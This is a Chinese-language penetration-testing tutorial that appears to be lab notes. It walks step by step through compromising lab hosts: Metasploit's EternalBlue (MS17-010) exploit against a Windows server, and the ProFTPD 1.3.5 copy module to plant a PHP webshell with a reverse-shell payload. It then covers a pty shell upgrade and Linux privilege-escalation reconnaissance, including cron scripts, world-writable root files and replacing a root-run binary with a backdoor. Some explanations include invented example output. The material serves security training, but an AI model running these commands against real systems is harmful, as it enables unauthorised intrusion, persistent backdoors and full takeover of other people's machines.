突破边界

拿下web

打开msf

内网演示(一)_搜索

域是内网是一个集中控管的概念,如果一旦要是拿到了域的控制权的话,也就意味着内网绝大多数,百分之95以上的主机就都在你的控制范围之内了。

内网演示(一)_搜索_02

内网的公鸡思路拓扑图

将三台机器打开

内网演示(一)_Windows_03

打开metaploit

打开Metasploit的过程取决于你使用的操作系统和Metasploit的安装方式。以下是一些常见的步骤:

在Kali Linux或其他Linux发行版中

  1. 打开终端:首先,你需要打开一个终端窗口。你可以通过按下Ctrl + Alt + T快捷键或在系统搜索中找到“Terminal”来打开终端。
  2. 启动Metasploit:在终端中输入以下命令来启动Metasploit:
msfconsole
  • 1.

这将打开Metasploit的命令行界面,你可以在其中执行各种渗投测试任务。

在Windows系统中

  1. 打开命令提示符:按下Win + R快捷键,输入cmd,然后按回车键来打开命令提示符。
  2. 导航到Metasploit安装目录:如果你已经安装了Metasploit,通常可以通过以下命令导航到其安装目录:
cd C:\Program Files (x86)\Metasploit\bin
  • 1.

如果你的Metasploit安装在其他位置,请替换上述路径为你实际的安装路径。

  1. 启动Metasploit:在命令提示符中输入以下命令来启动Metasploit:
msfconsole
  • 1.

这将打开Metasploit的命令行界面。

使用Docker

如果你使用Docker容器来运行Metasploit,可以按照以下步骤操作:

  1. 启动Docker容器:首先,确保你已经安装了Docker并启动了Docker服务。
  2. 运行Metasploit容器:使用以下命令来运行Metasploit的Docker容器:
docker run -it --rm -p 3721:3721 -p 5985:5985 -p 5984:5984 -p 9999:9999 kali/metasploit-framework
  • 1.

这将启动一个Metasploit容器,并将一些常用端口映射到本地主机。

  1. 进入容器:进入Docker容器后,你可以使用以下命令来启动Metasploit:
msfconsole
  • 1.

使用Metasploit GUI

如果你使用的是Metasploit的图形用户界面(GUI),可以按照以下步骤操作:

  1. 打开终端或命令提示符:根据你的操作系统打开终端或命令提示符。
  2. 导航到Metasploit安装目录:使用cd命令导航到Metasploit的安装目录。
  3. 启动Metasploit GUI:在终端或命令提示符中输入以下命令来启动Metasploit GUI:
msfweb
  • 1.

练习

接下来要使用msf模块对接先实现对接两台机器基本漏东的一个公鸡,取得一个基本控制权。

内网演示(一)_Windows_04

首先先用nmap扫描一下网段

db_nmap -sn 172.31.1.0/24

内网演示(一)_搜索_05

然后用nmap扫描一下目标的系统

nmap -O 172.31.1.17

内网演示(一)_Windows_06

nmap顺带把开启的端口也一起扫了

我们发现开了很多端口

有21ftp

22ssh

80http

3306mysql

3389wet-server

8080http proxy

445microsoft-ds

内网演示(一)_搜索_07

nmap发现应该是一台windows7或者2008、8.1,总之是Windows的系统

这次我们示例445

seach 17_010步骤

  1. 启动MSF: 首先,打开终端或命令提示符,输入以下命令来启动Metasploit框架:
msfconsole
  • 1.
  1. 搜索模块: 在Metasploit控制台中,输入以下命令来搜索与MS17-010相关的模块:
search ms17-010
  • 1.

这将列出所有与MS17-010漏动相关的模块,包括利用模块、辅助模块等。

  1. 选择模块: 根据搜索结果,选择一个感兴趣的模块。通常,利用模块的名称会包含exploit/windows/smb/ms17_010_eternalblue。你可以使用以下命令来详细查看某个模块:
use <module_name>
  • 1.

例如,要使用EternalBlue漏动的利用模块,可以输入:

use exploit/windows/smb/ms17_010_eternalblue
  • 1.
  1. 设置参数: 在选择了模块之后,可以使用show options命令来查看该模块需要哪些参数。通常需要设置的目标IP地址、目标端口等。例如:
set RHOSTS <target_ip>
set RPORT 445
  • 1.
  • 2.
  1. 执行模块: 设置完参数后,可以使用run命令来执行该模块:
run
  • 1.

seach 17_010示例

以下是一个完整的示例,展示了如何使用MSF来搜索和利用MS17-010漏动:

msfconsole 
> search ms17-010 
> use exploit/windows/smb/ms17_010_eternalblue 
> set RHOSTS 192.168.1.100 
> set RPORT 445 
> run
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.

内网演示(一)_搜索_08

seach 17_010

果您想搜索关键词“17_010”,可以使用:

search term:17_010
  • 1.

Metasploit将返回所有包含您搜索关键词的相关模块列表。

  1. 一旦找到了相关的模块,您可以使用use命令来加载该模块,然后使用info命令来查看该模块的详细信息,包括如何配置和使用它。

例如,如果您找到了名为exploit/windows/fileformat/office_word_hta_automation的模块,您可以使用以下命令来加载它:

use exploit/windows/fileformat/office_word_hta_automation
  • 1.

然后查看信息:

info
  • 1.

内网演示(一)_搜索_09

use 0

使用0

内网演示(一)_Windows_10

show options

内网演示(一)_搜索_11

set RHOSTS 172.312.1.17 #目标IP

set lhost 172.31.1.16 #kali的IP地址

内网演示(一)_搜索_12

show targets

在Metasploit框架中,show targets命令用于显示当前模块支持的所有目标类型。每个目标类型都有其特定的配置选项和用途。以下是如何使用show targets命令的示例:

示例

假设你已经在Metasploit控制台中选择了某个利用模块,例如ms17_010_eternalblue,你可以使用show targets命令来查看该模块支持的目标类型:

msfconsole 
> use exploit/windows/smb/ms17_010_eternalblue 
> show targets
  • 1.
  • 2.
  • 3.

输出结果可能会类似于以下内容:

Targets:
  0   Windows 7 and Windows Server 2008 R2 x64 
  1   Windows 7 and Windows Server 2008 R2 x86 
  2   Windows Vista and Windows Server 2008 x64 
  3   Windows Vista and Windows Server 2008 x86 
  4   Windows XP SP2 x86 
  5   Windows XP SP3 x86 
  6   Windows 2000 SP4 x86
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.

设置目标类型

一旦你查看了所有可用的目标类型,可以使用set target命令来选择一个特定的目标类型。例如,选择目标类型为Windows 7和Windows Server 2008 R2 x64:

> set target 0
  • 1.

其他相关命令

  • show options:显示当前模块的所有可配置选项及其当前设置。
  • set <option> <value>:设置某个选项的值。
  • run:执行当前模块。

内网演示(一)_Windows_13

因为我们在实际环境中也不确定目标到底是什么系统的

所以我们直接run启动一下

让他自己去找

内网演示(一)_bundle_14

很快就跑出来了是一个2008的windows serverR2 64位

然后输入以下命令查看,当前获得是什么权限

getuid

内网演示(一)_搜索_15

现在已经是最高权限了,不用在提权了

hosts

在Metasploit Framework(MSF)中,hosts命令用于管理和显示与当前会话相关的主机信息。这个命令可以帮助你跟踪和管理在渗投测试过程中遇到的网络主机。

主要功能

  1. 显示主机信息: 使用hosts命令可以显示当前工作区中所有已知的主机及其相关信息,如IP地址、MAC地址、操作系统等。
  2. 添加主机: 你可以使用hosts命令手动添加新的主机到数据库中。这对于记录和跟踪目标网络中的设备非常有用。
  3. 删除主机: 如果数据库中存在错误或不再需要的主机记录,你可以使用hosts命令将其删除。
  4. 筛选和排序hosts命令支持多种选项,允许你根据不同的标准筛选和排序主机列表。例如,你可以只显示特定IP范围内的主机,或者按操作系统类型排序。

常用选项

  • -a 或 --add:添加新主机。
  • -d 或 --delete:删除现有主机。
  • -c 或 --columns:指定显示的列,如IP、MAC、操作系统等。
  • -h 或 --help:显示帮助信息。

示例

  1. 显示所有已知主机
msfconsole 
> hosts
  • 1.
  • 2.
  1. 添加新主机
msfconsole 
> hosts -a 192.168.1.100
  • 1.
  • 2.
  1. 删除主机
msfconsole 
> hosts -d 192.168.1.100
  • 1.
  • 2.
  1. 显示特定列
msfconsole 
> hosts -c ip,mac,os
  • 1.
  • 2.

内网演示(一)_Windows_16

nmap扫描的有时候并不精确

事实上在msf里也集成了扫描工具

db_nmap -O 172.31.1.34 #扫一下操作系统的版本

内网演示(一)_搜索_17

我们发现nmap顺便扫描了端口,目标服务器开了很多的端口。

通过扫描发现目标服务器是linux,没有扫出具体的版本号

内网演示(一)_搜索_18

db_nmap -p21 -sV -A 172.31.1.34

在Metasploit框架中,db_nmap是一个辅助模块,它允许你使用Nmap扫描工具并将结果存储在Metasploit的数据库中。当你在Metasploit的控制台(msfconsole)中运行db_nmap命令时,它会执行Nmap扫描,并将扫描结果导入到Metasploit的数据库中,这样你就可以在Metasploit内部方便地查询和分析这些结果。

下面是对你提供的db_nmap命令参数的解释:

  • -p21:指定要扫描的端口号。这里的21通常是FTP(文件传输协议)服务的默认端口。这个参数告诉Nmap只扫描TCP端口21。
  • -sV:启用版本检测。这个选项会让Nmap尝试确定在各个端口上运行的服务的版本信息。
  • -A:启用操作系统检测、版本检测、脚本扫描和路由跟踪。这是一个非常强大的选项,它让Nmap尽可能多地收集目标的信息。
  • 172.31.1.34:这是你要扫描的目标IP地址。

因此,整个命令db_nmap -p21 -sV -A 172.31.1.34的意思是:在Metasploit框架中使用Nmap对IP地址172.31.1.34的TCP端口21进行扫描,同时启用版本检测和全面的探测选项,包括操作系统检测、脚本扫描和路由跟踪,并将所有扫描结果存储在Metasploit的数据库中。

请注意,执行这样的扫描可能需要在目标网络上具有适当的权限,否则可能会违反法律或组织政策。在进行任何形式的网络扫描之前,请确保你有权这样做。

内网演示(一)_bundle_19

通过扫描发现是一个ftp的服务

软件版本是ProFTPD 1.3.5

内网演示(一)_bundle_20

可以搜索一下有没有针对与ProFTPD 1.3.5的已知漏东

searchsploit ProFTPD 1.3.5

可以发现有四个已知的漏东

可以利用右侧的脚本或者是手动的方式

内网演示(一)_bundle_21

根据刚刚的扫描结果,发现主机上除了21端口开着80端口也是开着的

所以是符合利用条件的,利用ftp的copy功能将webshell拷贝到80端口的这个web端口上。然后再通过webshell取得控制权。

内网演示(一)_搜索_22

手动如何利用,步骤都在这边的文档中

内网演示(一)_bundle_23

直接利用msf模块来做

seach proftpd 1.3.5

use 0

我们就搜索到了这个模块,然后我就直接使用这个模块,对目标发起公鸡

内网演示(一)_搜索_24

show options#显示当前模块

内网演示(一)_Windows_25

set RHOSTS 172.31.1.34#set RHOSTS 172.31.1.34这行命令的意思是将目标主机的IP地址设置为172.31.1.34

内网演示(一)_Windows_26

copy到80端口上,拷贝到80端口的哪个目录下,通常网站的 文件目录在var的www目录下

内网演示(一)_Windows_27

show payloads#查看payload

内网演示(一)_bundle_28

设置payload5

set payload 5

内网演示(一)_bundle_29

我们尝试给他按照管理来放置在var下的www里的html中

set SITEPATH /var/www/html

set SITEPATH命令用于设置Web站点的根目录路径。这个路径是你希望在执行某些类型的公鸡时,Metasploit使用的Web服务器的文档根目录。

具体来说,set SITEPATH /var/www/html这行命令的意思是将Web站点的根目录设置为/var/www/html。这个目录通常是Apache或其他Web服务器的默认文档根目录。

内网演示(一)_bundle_30

show options ##显示当前模块

因为是用的反弹payload,所以还要设置反弹的接收端(也就是本机kali)

内网演示(一)_bundle_31

set LHOST 172.31.1.16#设置反弹本机的地址

run#运行

内网演示(一)_Windows_32

然后就利用上传到这个payload到目标web的根目录了

内网演示(一)_搜索_33

webshell的文件名是Np1qH.php

上传了之后呢建立了第二个session

内网演示(一)_Windows_34

虽然看起来黑乎乎一片,但是输入命令后就有反馈了

id查看一下现有的用户和权限

然后我们查找一下目标的服务器有没有python,如果有python的话就可以升级成功能更完整的shell

which python

内网演示(一)_Windows_35

python -c "import pty; pty.spawn('/bin/bash')"

代码分析:

import pty
pty.spawn('/bin/bash')
  • 1.
  • 2.
  1. 导入 pty 模块
  • import pty:这行代码导入了 Python 的 pty 模块,这是一个用于创建伪终端(pseudo-terminal)的模块。伪终端是一个模拟的终端窗口,可以让程序像在真正的终端中一样运行。
  1. 使用 pty.spawn() 方法
  • pty.spawn('/bin/bash'):这行代码使用 pty.spawn() 方法来启动一个新的 Bash shell。这里 /bin/bash 是 Bash shell 的路径。

代码执行流程:

  1. 创建伪终端
  • 当 pty.spawn() 被调用时,它会创建一个新的伪终端(PTY),这个 PTY 可以被其他程序当作真实的终端来使用。
  1. 启动 Bash shell
  • pty.spawn() 方法会在新创建的 PTY 中启动 /bin/bash,即 Bash shell。这意味着在 PTY 中执行的命令看起来就像是在真正的终端中运行的一样。
  1. 交互式模式
  • 一旦 Bash shell 被启动,它就进入交互模式。你可以输入命令,就像在正常的终端中一样,而且这些命令会被执行。

实际应用场景:

这段代码通常用于创建一个交互式的 shell 会话,尤其是在远程环境中。例如,当一个 Python 脚本或应用程序需要提供一个交互式的 shell 会话给用户时,可以使用这种方法。

安全注意事项:

  • 权限问题:如果这段代码被恶意用户执行,它可能会允许用户访问系统或执行命令,因此需要注意安全性和权限控制。
  • 上下文隔离:在某些环境中,可能需要确保执行这段代码的上下文是隔离的,以防止用户访问不应访问的资源或数据。

总结:

这段代码在 Python 中启动了一个交互式的 Bash shell,通过创建一个伪终端(PTY)来模拟终端环境。这种方式特别适用于需要交互式 shell 会话的应用场景,但同时也需要注意安全性和权限控制。

内网演示(一)_Windows_36

我们就得到一个功能相对比较完整的一个shell终端了

内网演示(一)_搜索_37

这样就拿到了两台机器的控制器,但是这台linux机器的权限比较低

 

内网演示(一)_bundle_38

查看一下系统的版本

uname -a

发现是一个Ubuntu的低版本,那么既然是Ubuntu,内核版本又很低那么我们提权的手段就很多了。

内网环节

内网演示(一)_bundle_39

实际上就是不断的本地信息收集-发现服务-寻找漏动-本地提权这个过程

然后就是新一轮的信息收集-突破边界-本地提权

本地提权

本地提权(Local Privilege Escalation, LPE)是指在计算机系统中,公鸡者利用漏动或配置错误来获取更高的权限,通常是管理员级别的权限。在Windows和Linux系统中,LPE是渗投测试和安全评估中的一个重要环节,因为它可以帮助识别和修复潜在的安全漏动。

Windows 系统中的本地提权

常见技术:
  1. 服务漏动
  • 利用服务中的漏动来提升权限。
  • 例如,通过修改服务的启动参数来注入恶意代吗。
  1. 驱动程序漏动
  • 利用驱动程序中的漏动来执行内核级代码。
  • 例如,通过利用签名不严格的驱动程序来加载恶意内核模块。
  1. SMB 漏动
  • 利用 Server Message Block (SMB) 协议中的漏动来提升权限。
  • 例如,MS17-010(EternalBlue)漏动。
  1. UAC 绕过
  • 绕过 User Account Control (UAC) 保护机制。
  • 例如,通过使用特定的技术来欺骗 UAC 并运行管理员级别的命令。
  1. 文件系统漏动
  • 利用文件系统中的漏动来获取更高权限。
  • 例如,通过修改系统文件或配置文件来获取管理员权限。

Linux 系统中的本地提权

常见技术:
  1. Setuid 程序
  • 滥用具有 setuid 标志的程序。
  • 例如,通过修改或利用这些程序来提升权限。
  1. 内核漏动
  • 利用内核中的漏动来执行内核级代码。
  • 例如,CVE-2021-4034(PwnKit)漏动。
  1. 环境变量漏动
  • 滥用或修改环境变量来执行恶意代吗。
  • 例如,通过修改 PATH 变量来插入恶意程序。
  1. SUID/SGID 文件
  • 滥用具有 SUID 或 SGID 标志的文件来提升权限。
  • 例如,通过修改或利用这些文件来获取 root 权限。
  1. 进程调度漏动
  • 利用进程调度中的漏动来执行恶意代吗。
  • 例如,通过调度器中的漏动来获取 root 权限。

工具和框架:

  • Metasploit:Metasploit 框架包含了多种用于本地提权的模块。
  • LinEnum:用于枚举 Linux 系统的信息,寻找可能的提权机会。
  • WinEnum:用于枚举 Windows 系统的信息,寻找可能的提权机会。
  • Empire:一个用于后期开发的框架,支持 Windows 和 Linux 系统的本地提权。
  • Cobalt Strike:虽然主要用于横向移动,但也包含了一些用于本地提权的功能。

练习Windows提全

内网演示(一)_bundle_40

拿到shell之后第一件事就是看一下权限

id或者whoami

内网演示(一)_Windows_41

再或者用w

w可以看到登录的会话链接,如果有其他用户也在登录的话就可以看到别的用户链接了

内网演示(一)_搜索_42

看一下敏感文件,看看哪些账户权限高一些可以扩大公鸡面的

内网演示(一)_bundle_43

这个阶段服务账号不用重点关注,这里重点关注哪一些呢

内网演示(一)_搜索_44

这个阶段重点关注一些有shell权限的

针对这种,一般是用户账号,针对这种用户账号可以尝试信息收集,看看他们的主目录下有没有进一步可以帮助我们提权的信息存在。

这样就拿到了用户的账号列表,拿到了用户的本地列表就可以尝试密码爆破,看看有没有相应的本地漏动来sudo提权

可以先把自己提升为应用账号,然后再用应用账号来提升root账号,这样层级化的提权

内网演示(一)_bundle_45

我们可以进入主目录

cd /home

可以挨个进一下看看

内网演示(一)_搜索_46

用www的账号权限去看一下对这个文件哪些有读取查看-写入的权限

内网演示(一)_bundle_47

把一些隐藏的文件也给列出来

ls -la

然后挨个文件去查哪个文件有机密信息、配置文件等

配置文件里可能有默认登录某些服务账号的密码,数据库账密等。

内网演示(一)_Windows_48

这个文件没有权限看,这个文件只有所有者才能读写

但是如果有权限去看的话,这个文件里他的用户使用过管理员的这种管理操作的命令。就可以给我们接下来的提权指引方向,有可能里面直接包含帐户密码,有可能会有管理员执行的一些脚本,这个脚本我们是可以改的。

所以一上来我们就会重点关注这种类型的文件,这是一种思路。

这个环节就需要挨个目录去爬去看

很多文章都会写查看这些配置文档,但是查看完了怎么用几乎很少提到

找到用户账号可以去爆婆密码,可以找这些用户账号主目录下的各种文件

拿到这些文件,看里有没有信息的泄露,如果有泄露那就对我们非常有价值

所以我们运行ls命令的时候一定要加上la,保证隐藏文件也是可以显示出来的


ls -la
  • 1.

内网演示(一)_bundle_49

hostname#显示主机名

通过主机名就可以猜测大概的功能,db或者叫web、app就可以大概猜测这台主机的功能,基于这个功能去找

内网演示(一)_bundle_50

如果这个主机名为db的话,那就看这上面有没有数据库相关的一些进程

ps -ef | grep mysql

查看mysql进程

因为在linux里用mysql、oracle、redis等数据库用的比较多

内网演示(一)_Windows_51

uname -a #查看内核,找内核版本的漏动

内网演示(一)_bundle_52

也可以去看一下etc下的release文件

cat /etc/*-release

通过release文件可以详细的看出来这是linux的什么版本,如果是这种比较老的版本脑子里立马就有几种方法来提权

内网演示(一)_搜索_53

同样可以查看etc文件的issue

cat /etc/issue

这个文件里也会包含系统版本这样的信息,这都是一些常用的手段

内网演示(一)_bundle_54

除了以上呢,还可查看一下进程,把所有进程都列出来

ps -ef

看看当前服务器上都跑着哪些进程

重点关注哪些应用起来的进程,进程的所有者最好是root账号运行的

很多情况下企业自己开发的应用都会利用一个脚本去启动自己的服务,启动自己的服务的时候如果是以root权限,而恰巧他的启动脚本又是文件系统权限允许我们当前账号可以去对他修改或者是替换这个文件的话。那么我们就有机会去利用这个漏东去实现提权。因为如果能改的话可以把触发反弹shell的脚本命令放进去执行,那么服务已启动反弹shell脚本也就执行了,就可以实现对他的控制,获得root权限。

内网演示(一)_Windows_55

这个文件可以直接替换掉,把它替换成另一个二进制文件 ,用msf生成的payload文件也是可以的

重点关住那些可以改的,运行账号又是root的,这样的进程。

内网演示(一)_bundle_56

发现运行着的有docker,有容器。

如果你当前这个用户,当前取得控制权的账号它具有相应docker权限的话,那就可以利用docker来实现提权。因为docker也是有已知的漏东利用方法。

还有一些乍一看不太熟悉,不知道干什么用的进程,那这些就有必要挨个的去查看。到底是什么应用,在起什么业务、什么服务。如果能拿到它的源码或者是二进制文件的话就可以进行白盒审计、二进制文件的模糊测试。在里面找缓冲区漏动等等。

内网演示(一)_搜索_57

比如这个进程,不清楚是什么业务,进入目录看一下

这个如果是root权限运行的话,这就应该是管理员或开发者他自己开发的程序,我们也可以顺道看一下

内网演示(一)_搜索_58

ls -la /opt/readme_app/start.sh

看一下这个文件里面的内容

内网演示(一)_搜索_59

bundle install --path vendor/bundle

bundle exec rails s -b 0.0.0.0 -p 3500

这段Shell脚本包含了两个命令,它们是Ruby on Rails开发中常用的命令。下面我将分别解释这两个命令的含义:

  1. bundle install --path vendor/bundle
  • bundle install:这是Bundler工具的命令,Bundler是一个Ruby gem,用于管理Ruby应用程序的依赖关系。bundle install命令会根据项目根目录下的Gemfile文件中列出的gem依赖,下载并安装这些gem到本地环境中。
  • --path vendor/bundle:这是一个选项,指定了gem应该被安装到的路径。默认情况下,gem会被安装到系统的gem路径中,但使用--path选项可以将gem安装到项目的vendor/bundle目录下。这样做的好处是可以让项目的依赖关系更加清晰,并且便于项目的迁移和部署,因为所有的依赖都随项目一起打包。
  1. bundle exec rails s -b 0.0.0.0 -p 3500
  • bundle exec:这个命令告诉Ruby解释器在执行后续命令时使用Bundler提供的上下文。这意味着它会加载项目特定的gem环境,而不是全局gem环境。这样可以确保命令在正确的gem版本下运行。
  • rails s:这是Rails框架的命令,用于启动Rails应用程序的服务器。sserver的缩写。
  • -b 0.0.0.0:这是一个选项,指定了服务器应该监听的IP地址。0.0.0.0意味着服务器将会监听所有可用的网络接口,这样可以从任何网络访问服务器。
  • -p 3500:这也是一个选项,指定了服务器应该监听的端口号。在这里,服务器将会监听3500端口。

综上所述,这段Shell脚本的作用是:首先安装项目依赖的gem到vendor/bundle目录下,然后在一个指定的端口(3500)上启动Rails服务器,并允许从任何网络访问该服务器。这在开发环境中是非常常见的操作,因为它允许开发者在自己的机器上运行和测试Rails应用程序。

内网演示(一)_搜索_60

ip -a #看一下网卡的ip信息

有可能我们公鸡的时候公鸡的是这个IP地址,进来之后呢就发现其实是一台内网服务器。内网服务器他可能有自己的私有网段的地址,通过地址的查询就可以了解内部使用那个网段。针对这个网段可以进行扫描来进行信息探测,有没有其他的主机存在。

如果同时他有别的网卡的话在其他的网卡上可以发现是否连接着其他的内部的网段,因为很多公司的主机配置就是一个网卡接外网一个网卡接内网。另外一张网卡可能就是接的内部的生产网络或者办公网络,了解到这个信息就可以向另外的那个网段里去探测,扩大公鸡面。

内网演示(一)_搜索_61

IP route#这个命令可以查看路由表

查看路由表,一般的话路由表就会配置内部网段的一些配置情况

内网演示(一)_Windows_62

内网里的网段,特别是企业里的网段一般都比较大。所以通过路由表来发现内网的多个网段。

内网演示(一)_搜索_63

ss -pantu#网络侦听的端口

内网演示(一)_bundle_64

可以看到侦听的端口号,还有类型,本地开启的服务

所以我们可以用kali直接访问这些本机开放的服务,然后通过利用已知漏东或者黑盒测试探测和利用进行突破边界进而提权这些方法。公鸡在这些端口上隐藏的服务

内网演示(一)_bundle_65

如果权限够的话可以使用iptables查看一下防火墙配置

内网演示(一)_bundle_66

也有可能会把防火墙的规则存在以下这个路径里

cat /etc/iptables

内网演示(一)_bundle_67

ubuntu系统它的默认的防火墙管理工具其实是

ufw

内网演示(一)_bundle_68

可以输入ufw -h 来查看帮助命令

内网演示(一)_Windows_69

尝试看一下防火墙状态,发现是没有权限的,必须要有root权限。如果提权能拿到最高权限的话也是很幸运的

ufw status

内网演示(一)_搜索_70

我们还可以进一步收集的就是后台,后台的调度任务。因为一个服务器肯定有自动化后台的这种进程任务

比如说

cat /etc/crontab

里面会有一些以什么账号的身份来自动运行哪些脚本,如果哪些脚本可以有读写的权限的话,那就可以去改写这些脚本。

比如说每五分钟运行一次脚本,脚本是以root权限来运行的。正好现在控制的账号有读写权限,写一个反弹shell或者权限提升进去,五分钟后就可以收到反弹回来的shell取得root权限了。

内网演示(一)_bundle_71

除了这个位置还有好多个位置都有可能存在定时任务脚本,

ls -la /etc/cron*

内网演示(一)_搜索_72

cron.daily #每日运行

cron.monthly#每月运行

cron.hourly#每小时运行

cron.weekly#每周运行

去这里面每一个文件都看看可不可以读写。

内网演示(一)_搜索_73

内网演示(一)_Windows_74

在查一下机器上都装了哪些软件包,因为有些软件包也是存在已知的可以提权的漏动

dpkg -l#查询软件包

只要最左侧是ii开头的就是已经安装在靶机服务器上的,然后就在这里找哪些是存在已知漏动的软件包。这样的需要大量的信息收集和验证,需要很多重复性的工作,是一个非常耗时,无聊且枯燥的过程。

内网演示(一)_Windows_75

还有就是稍微自动化一点都搜一下

find / -user root -perm -o=w -type f 2>/dev/null#从根目录开始找,所有者为root的,perm权限至少要有写的权限,搜这样的文件(文件夹也可以搜索),把报错信息都隐藏起来以免混淆

find这个命令在渗投的时候是无价的,他可以直接查询哪些脚本文件是属于管理员权限但是非管理员也具有读写权限的。可以直接搜一下符合这个条件的。

这条命令使用 find 命令来查找属于 root 用户并且具有其他人写权限的文件。下面是命令的逐部分解释:

命令语法:

find / -user root -perm -o=w -type f 2>/dev/null
  • 1.

逐部分解释:

  1. find /
  • find:这是命令的主体,用于查找文件系统中的文件或目录。
  • /:这是查找的起点,这里指定从根目录开始查找。
  1. -user root
  • -user root:这个选项用于指定查找属于 root 用户的文件。
  1. -perm -o=w
  • -perm -o=w:这个选项用于指定查找具有其他人写权限的文件。这里的 -o 表示其他人的权限,w 表示写权限。
  1. -type f
  • -type f:这个选项用于指定只查找文件类型,不包括目录。
  1. 2>/dev/null
  • 2>:这是重定向标准错误输出的语法。
  • /dev/null:这是一个特殊的文件,任何写入到其中的数据都会被丢弃。在这里,我们使用它来丢弃 find 命令产生的任何错误输出,这样命令在执行过程中不会因为权限问题等错误而中断。

命令整体解释:

这条命令查找所有属于 root 用户并且具有其他人写权限的文件。由于 -perm -o=w 可能会匹配到一些文件,但由于权限问题无法访问,因此使用 2>/dev/null 来忽略这些错误输出,确保命令可以顺利执行到底。

示例输出:

假设命令成功执行,你可能会看到类似以下的输出:

/etc/passwd
/var/log/auth.log
/home/user/tempfile
  • 1.
  • 2.
  • 3.

这些是属于 root 用户并且具有其他人写权限的文件。

内网演示(一)_bundle_76

上图都是符合条件的,当然这里也有很多 都是没有用的,过滤一下找到有用的留下

proc的这个基本上我们就可以直接忽略掉

这个命令后面可以加一个

| grep -v "/proc" #有这样的名称的我们都不看了

这样的话就可以吧没有用的过滤掉,剩下的这些就可以快速的找到满足要求的脚本

内网演示(一)_Windows_77

例如查看一下server文件

ls -la /opt/sinatra/server

发现这个文件谁都能改谁都能看

内网演示(一)_Windows_78

查看一下这个什么类型的文件

file /opt/sinatra/server

发现文件类型是ELF

既然所有用户都拥有读写权限,那完全可以把这个文件删了,然后替换成木吗程序后们程序放到这里,下次当root账号随着系统启动或者服务启动过程当中,执行到这个文件的时候她就会自动执行我们这个后们程序。有可能就直接以root权限去的控制权。